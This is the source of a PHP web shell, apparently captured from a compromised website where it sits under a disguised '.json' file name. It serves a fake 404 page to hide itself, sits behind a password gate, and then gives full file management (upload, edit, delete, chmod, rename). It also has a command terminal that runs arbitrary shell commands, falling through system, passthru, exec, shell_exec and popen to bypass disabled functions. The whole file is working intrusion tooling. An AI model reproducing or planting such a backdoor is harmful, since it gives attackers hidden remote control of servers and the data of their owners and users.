Your IP : 216.73.216.201
| Current Path : /home/balossw/www/ |
|
|
| Current File : /home/balossw/www/java.php.json |
<?php
error_reporting(0);
session_start();
$_AUTH_HASH = '$2b$10$RDzPjFK1GcRwTUuxrUOX8uk49./8Qr6IVpCKiR/hYi1ElNH/6MLuW';
$_base = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http')
. '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost') . '/';
// ── Explicit logout: ?logout ──
if (isset($_GET['logout'])) {
unset($_SESSION['_wauth']);
header('Location: ' . $_base);
exit;
}
// ── Already authenticated via session ──
$_is_authed = isset($_SESSION['_wauth']) && $_SESSION['_wauth'] === true;
// ── Process login form submission ──
if (isset($_POST['_wp'])) {
if (password_verify($_POST['_wp'], $_AUTH_HASH)) {
$_SESSION['_wauth'] = true;
$_is_authed = true;
} else {
header('Location: ' . $_base);
exit;
}
}
// ── Gate: ?x parameter required (unless already authenticated) ──
if (!$_is_authed && !isset($_GET['x'])) {
if (!isset($_GET['x-head']) || $_GET['x-head'] !== 'function') {
@header('HTTP/1.1 404 Not Found');
die('<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Not Found</title><style>/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-xl{max-width:36rem}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.relative{position:relative}.items-top{align-items:flex-start}.tracking-wider{letter-spacing:.05em}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:640px){.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media (prefers-color-scheme:dark){.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}}</style><style>body{font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}</style></head><body class="antialiased"><div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0"><div class="max-w-xl mx-auto sm:px-6 lg:px-8"><div class="flex items-center pt-8 sm:justify-start sm:pt-0"><div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider">404</div><div class="ml-4 text-lg text-gray-500 uppercase tracking-wider">Not Found</div></div></div></div></body></html>');
}
}
// ── Not yet authenticated → show login page ──
if (!$_is_authed) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>404 Not Found</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#1a202c;font-family:system-ui,-apple-system,sans-serif;
display:flex;align-items:center;justify-content:center;min-height:100vh}
.card{background:#2d3748;border-radius:8px;padding:40px;width:340px;text-align:center;
box-shadow:0 10px 30px rgba(0,0,0,.4)}
h2{color:#e2e8f0;font-size:1rem;font-weight:400;margin-bottom:24px;letter-spacing:.05em}
input[type=password]{width:100%;padding:10px 14px;background:#1a202c;border:1px solid #4a5568;
border-radius:6px;color:#e2e8f0;font-size:.9rem;outline:none;
transition:border-color .2s;margin-bottom:16px}
input[type=password]:focus{border-color:#63b3ed}
button{width:100%;padding:10px;background:#4a5568;border:none;border-radius:6px;
color:#e2e8f0;font-size:.85rem;font-weight:600;cursor:pointer;transition:background .2s;
letter-spacing:.05em}
button:hover{background:#63b3ed;color:#1a202c}
</style>
</head>
<body>
<div class="card">
<h2>Authentication Required</h2>
<form method="post" action="?x">
<input type="password" name="_wp" placeholder="Enter password" autofocus autocomplete="off">
<button type="submit">VERIFY</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
// ═══════════════════════════════════════════════════════════════
// AUTHENTICATED — Shell below
// ═══════════════════════════════════════════════════════════════
$aBbij = "123";
$Dq_af = "unlink";
$PQjJ8 = "rename";
$gExfF = "chmod";
$lER5H = "mkdir";
$xw5RL = "touch";
$AMyWE = "system";
$Xmoyv = "file_get_contents";
$oL0WR = "file_put_contents";
// Header
echo "<div style='background:#fff; color:#000; padding:15px; text-align:center; font-family:monospace; border:2px solid #000; border-radius:5px; box-shadow: 0 4px 8px rgba(0,0,0,0.1);'>
<h2 style='margin:0; font-size:24px; text-transform:uppercase; font-weight:bold;'>SHELL BYPASS VERSION</h2>
<p style='margin:5px 0 0 0; font-weight:bold;'></p>
<a href='?logout' style='position:absolute;top:10px;right:15px;color:#e05c5c;text-decoration:none;font-size:12px;font-family:monospace;'>[ LOGOUT ]</a>
</div><br>";
// Get current path
$lRMEv = isset($_GET["path"]) ? $_GET["path"] : getcwd();
$lRMEv = str_replace("\\", "/", $lRMEv);
chdir($lRMEv);
// Save file (edit)
if (isset($_POST["save_file"])) {
if (@$oL0WR($_POST["edit_item"], $_POST["content"])) {
echo "<b style='color:green'>✅ File Berhasil Disimpan!</b><br>";
}
}
// Create new file
if (isset($_POST["new_file"])) {
if (@$xw5RL($_POST["filename"])) {
echo "<b style='color:green'>✅ File '{$_POST["filename"]}' Berhasil Dibuat!</b><br>";
}
}
// Create new directory
if (isset($_POST["new_dir"])) {
if (@$lER5H($_POST["dirname"])) {
echo "<b style='color:green'>✅ Folder '{$_POST["dirname"]}' Berhasil Dibuat!</b><br>";
}
}
// Action handling (delete, chmod, rename)
if (isset($_GET["action"])) {
$lVCJs = $_GET["item"];
// Delete
if ($_GET["action"] == "del") {
@$Dq_af($lVCJs);
}
// Chmod
if ($_GET["action"] == "chmod" && isset($_POST["perm"])) {
@$gExfF($lVCJs, octdec($_POST["perm"]));
}
// Rename
if ($_GET["action"] == "ren" && isset($_POST["newname"])) {
@$PQjJ8($lVCJs, $_POST["newname"]);
}
}
// Show current path breadcrumb
echo "<b>Current Path:</b> ";
$dawqg = explode("/", $lRMEv);
foreach ($dawqg as $Qsqr4 => $hEFmc) {
if ($hEFmc == '' && $Qsqr4 == 0) {
echo "<a href='?path=/'>/</a>";
}
if ($hEFmc == '') {
continue;
}
echo "<a href='?path=" . implode("/", array_slice($dawqg, 0, $Qsqr4 + 1)) . "'>{$hEFmc}</a> / ";
}
echo "<hr>";
// Edit file
if (isset($_GET["edit"])) {
$J1KFC = $_GET["item"];
echo "<h4>Editing: {$J1KFC}</h4>
<form method='POST'>
<textarea name='content' rows='15' style='width:100%;font-family:monospace;background:#f9f9f9;'>" . htmlspecialchars(@$Xmoyv($J1KFC)) . "</textarea><br>
<input type='hidden' name='edit_item' value='{$J1KFC}'>
<input type='submit' name='save_file' value='SIMPAN PERUBAHAN' style='padding:5px 15px;cursor:pointer;'>
<a href='?path={$lRMEv}'>[ BATAL ]</a>
</form><hr>";
}
// Upload, New File, New Folder forms
echo "<table width=\"100%\" cellpadding=\"5\">
<tr>
<td valign=\"top\">
<form method=\"POST\" enctype=\"multipart/form-data\">
<b>Upload File:</b><br> <input type=\"file\" name=\"f\"> <input type=\"submit\" value=\"Upload\">
</form>
</td>
<td valign=\"top\">
<form method=\"POST\">
<b>New File:</b><br> <input type=\"text\" name=\"filename\" placeholder=\"namafile.php\"> <input type=\"submit\" name=\"new_file\" value=\"Create\">
</form>
</td>
<td valign=\"top\">
<form method=\"POST\">
<b>New Folder:</b><br> <input type=\"text\" name=\"dirname\" placeholder=\"nama_folder\"> <input type=\"submit\" name=\"new_dir\" value=\"Create\">
</form>
</td>
</tr>
</table><br>";
// Handle file upload
if (isset($_FILES["f"])) {
if (move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
echo "<b style='color:green'>✅ Upload Berhasil!</b><br>";
}
}
// File listing table
echo "<table border='1' width='100%' cellpadding='5' style='border-collapse:collapse;font-family:Arial,sans-serif;'>
<tr bgcolor='#333' style='color:#fff'><th>Name</th><th>Size</th><th>Perm</th><th>Action</th></tr>";
$KMTzj = dirname($lRMEv);
echo "<tr><td colspan='4' bgcolor='#eee'><a href='?path={$KMTzj}'><b>[ .. ] KE ATAS</b></a></td></tr>";
$tGFHC = scandir($lRMEv);
foreach ($tGFHC as $GuDcw) {
if ($GuDcw == "." || $GuDcw == "..") {
continue;
}
$Cie_X = decoct(fileperms($GuDcw) & 0777);
$AMyWE_size = is_dir($GuDcw) ? "DIR" : filesize($GuDcw) . " B";
$O8DE6 = is_writable($GuDcw) ? "#00ff00" : "#ff0000";
$LHR5T = $lRMEv == "/" ? "/{$GuDcw}" : "{$lRMEv}/{$GuDcw}";
if (is_dir($GuDcw)) {
$CrYdl = "<a href='?path={$LHR5T}' style='text-decoration:none;'><b>[ {$GuDcw} ]</b></a>";
} else {
$CrYdl = "<span>{$GuDcw}</span>";
}
echo "<tr>
<td>{$CrYdl}</td>
<td>{$AMyWE_size}</td>
<td><b><font color='{$O8DE6}'>{$Cie_X}</font></b></td>
<td>
<a href='?path={$lRMEv}&item={$GuDcw}&edit=1' style='text-decoration:none;'>[Edit]</a> |
<a href='?path={$lRMEv}&item={$GuDcw}&action=del' onclick=\"return confirm('Hapus?')\" style='text-decoration:none;color:red;'>[Del]</a> |
<form style='display:inline' method='POST' action='?path={$lRMEv}&item={$GuDcw}&action=ren'>
<input name='newname' placeholder='Rename' size='5'><input type='submit' value='R'>
</form>
<form style='display:inline' method='POST' action='?path={$lRMEv}&item={$GuDcw}&action=chmod'>
<input name='perm' placeholder='{$Cie_X}' size='4'><input type='submit' value='C'>
</form>
</td>
</tr>";
}
echo "</table><br>";
// Terminal CMD (Multi-Bypass)
echo "<div style='background:#000; color:#0f0; padding:10px; font-family:monospace; border:1px solid #333;'>
<b>Terminal CMD (Multi-Bypass):</b><br>
<form method='POST'>
$ <input type='text' name='cmd' style='background:transparent; color:#0f0; border:none; width:90%; outline:none;' placeholder='ls -la' value='" . htmlspecialchars(@$_POST["cmd"]) . "'>
</form>";
if (isset($_POST["cmd"])) {
$b2M32 = $_POST["cmd"] . " 2>&1";
echo "<pre style='color:#0f0; background:#000; padding:10px; border-top:1px solid #333; white-space:pre-wrap;'>";
if (function_exists("system")) {
@system($b2M32);
} elseif (function_exists("passthru")) {
@passthru($b2M32);
} elseif (function_exists("exec")) {
$muh1t = [];
@exec($b2M32, $muh1t);
echo implode("\n", $muh1t);
} elseif (function_exists("shell_exec")) {
echo @shell_exec($b2M32);
} elseif (function_exists("popen")) {
$Cie_X = @popen($b2M32, "r");
while (!feof($Cie_X)) {
echo fread($Cie_X, 1024);
}
pclose($Cie_X);
} else {
echo "❌ Semua fungsi eksekusi (system, exec, passthru, dll) DIMATIKAN di server ini.";
}
echo "</pre>";
}
echo "</div><br>";
echo "<div style='text-align:center;font-size:12px;'>© 2026 kamley77 - System Management Tool</div>";